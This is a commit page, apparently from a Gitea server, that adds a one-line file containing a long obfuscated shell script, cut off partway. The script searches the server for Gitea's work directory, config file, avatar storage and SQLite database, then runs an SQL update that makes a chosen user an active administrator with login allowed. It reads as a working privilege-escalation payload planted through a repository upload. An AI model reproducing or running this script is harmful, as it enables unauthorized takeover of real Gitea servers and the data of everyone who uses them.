This commit is contained in:
oidfx2won committed 2026-09-20 16:15:44 -03:00
1 parent 70a7109bf2
commit 892842292b
3 files changed
+3

No files matched your search

+1
View File
@@ -0,0 +1 @@
export PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH"; WD="${GITEA_WORK_DIR:-}"; WDFOUND=0; if [ -n "$WD" ] && { [ -f "$WD/custom/conf/app.ini" ] || [ -f "$WD/conf/app.ini" ]; }; then WDFOUND=1; else WD=""; D="$(pwd)"; while :; do if [ -f "$D/custom/conf/app.ini" ] || [ -f "$D/conf/app.ini" ]; then WD="$D"; WDFOUND=1; break; fi; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; R=""; P="$(pwd)"; case "$P" in */tmp/local-repo/upload.git*) R="${P%%/tmp/local-repo/upload.git*}";; */tmp/local-repo/*) R="${P%%/tmp/local-repo/*}";; esac; RP=""; [ -n "$R" ] && RP="$(dirname "$R")"; if [ "$WDFOUND" = "0" ]; then for _r in "$R" "$RP"; do if [ -n "$_r" ] && [ -d "$_r" ] && { [ -f "$_r/custom/conf/app.ini" ] || [ -f "$_r/conf/app.ini" ] || { [ -f "$_r/gitea" ] && [ -x "$_r/gitea" ]; } || { [ -f "$_r/gitea.exe" ] && [ -x "$_r/gitea.exe" ]; }; }; then WD="$_r"; WDFOUND=1; fi; [ "$WDFOUND" = "1" ] && break; done; fi; CFG=""; for _c in "$WD/custom/conf/app.ini" "$WD/conf/app.ini" "$WD/app.ini" "$R/custom/conf/app.ini" "$R/conf/app.ini" "$R/app.ini" "$RP/custom/conf/app.ini" "$RP/conf/app.ini" "$RP/app.ini" "/data/gitea/custom/conf/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/custom/conf/app.ini" "/var/lib/gitea/conf/app.ini" "/home/git/gitea/custom/conf/app.ini" "/home/gitea/custom/conf/app.ini" "/app/gitea/custom/conf/app.ini" "/app/gitea/conf/app.ini" "/opt/gitea/custom/conf/app.ini" "/opt/gitea/conf/app.ini" "/opt/gitea-*/custom/conf/app.ini" "/opt/gitea-*/conf/app.ini" "/var/packages/Gitea/etc/app.ini" "/var/packages/gitea/etc/app.ini" "/var/packages/Gitea/target/custom/conf/app.ini" "/volume1/@appdata/gitea/custom/conf/app.ini" "/volume1/@appdata/gitea/conf/app.ini" "/share/CACHEDEV1_DATA/@appdata/gitea/custom/conf/app.ini" "/etc/gitea/app.ini"; do [ -n "$_c" ] && [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -n "$CFG" ] && [ -f "$CFG" ] && C="--config $CFG"; RUNP=""; if [ "$WDFOUND" = "1" ] && [ -n "$WD" ] && [ -d "$WD" ]; then RUNP="$WD"; export GITEA_WORK_DIR="$WD"; fi; _cfg() { [ -n "$CFG" ] && [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP"; [ -z "$AV" ] && [ -d "$R/$RAUP" ] && AV="$R/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars"; [ -z "$AV" ] && [ -d "$R/$APD/repo-avatars" ] && AV="$R/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "$R/data/repo-avatars" "$R/data/gitea/repo-avatars" "$R/repo-avatars" "$RP/data/repo-avatars" "$RP/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars" "/var/lib/gitea/data/repo-avatars" "/app/gitea/data/repo-avatars" "/opt/gitea/data/repo-avatars" "/volume1/@appdata/gitea/data/repo-avatars" "/share/CACHEDEV1_DATA/@appdata/gitea/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && AV="$d" && break; done; fi; _SQLTO() { _sq="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq" ] || { echo "SQLTO no sqlite3"; return; }; echo "SQLTO sqlite3=$_sq target=$1"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" "$WD/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db /var/lib/gitea/gitea.db /home/git/gitea/gitea.db /data/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; _cols="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; [ -n "$_cols" ] || _cols="$("$_sq" "$_db" "PRAGMA busy_timeout=8000; SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; case "$_cols" in *is_admin*) ;; *) continue;; esac; echo "SQLTO trying $_db"; "$_sq" -cmd ".timeout 8000" "$_db" "UPDATE user SET is_admin=1, is_active=1, prohibit_login=0 WHERE lower_name=lower('$1');" 2>&1; _chk="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; [ -n "$_chk" ] || _chk="$("$_sq" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; case "$_chk" in 1*) echo "SQLTO OK db=$_db user=$1 is_admin=1"; return 0;; esac; done; echo "SQLTO FAIL no writable sqlite user table"; }; G=""; GR=""; case "$CFG" in */custom/conf/app.ini) GR="${CFG%/cuLine truncated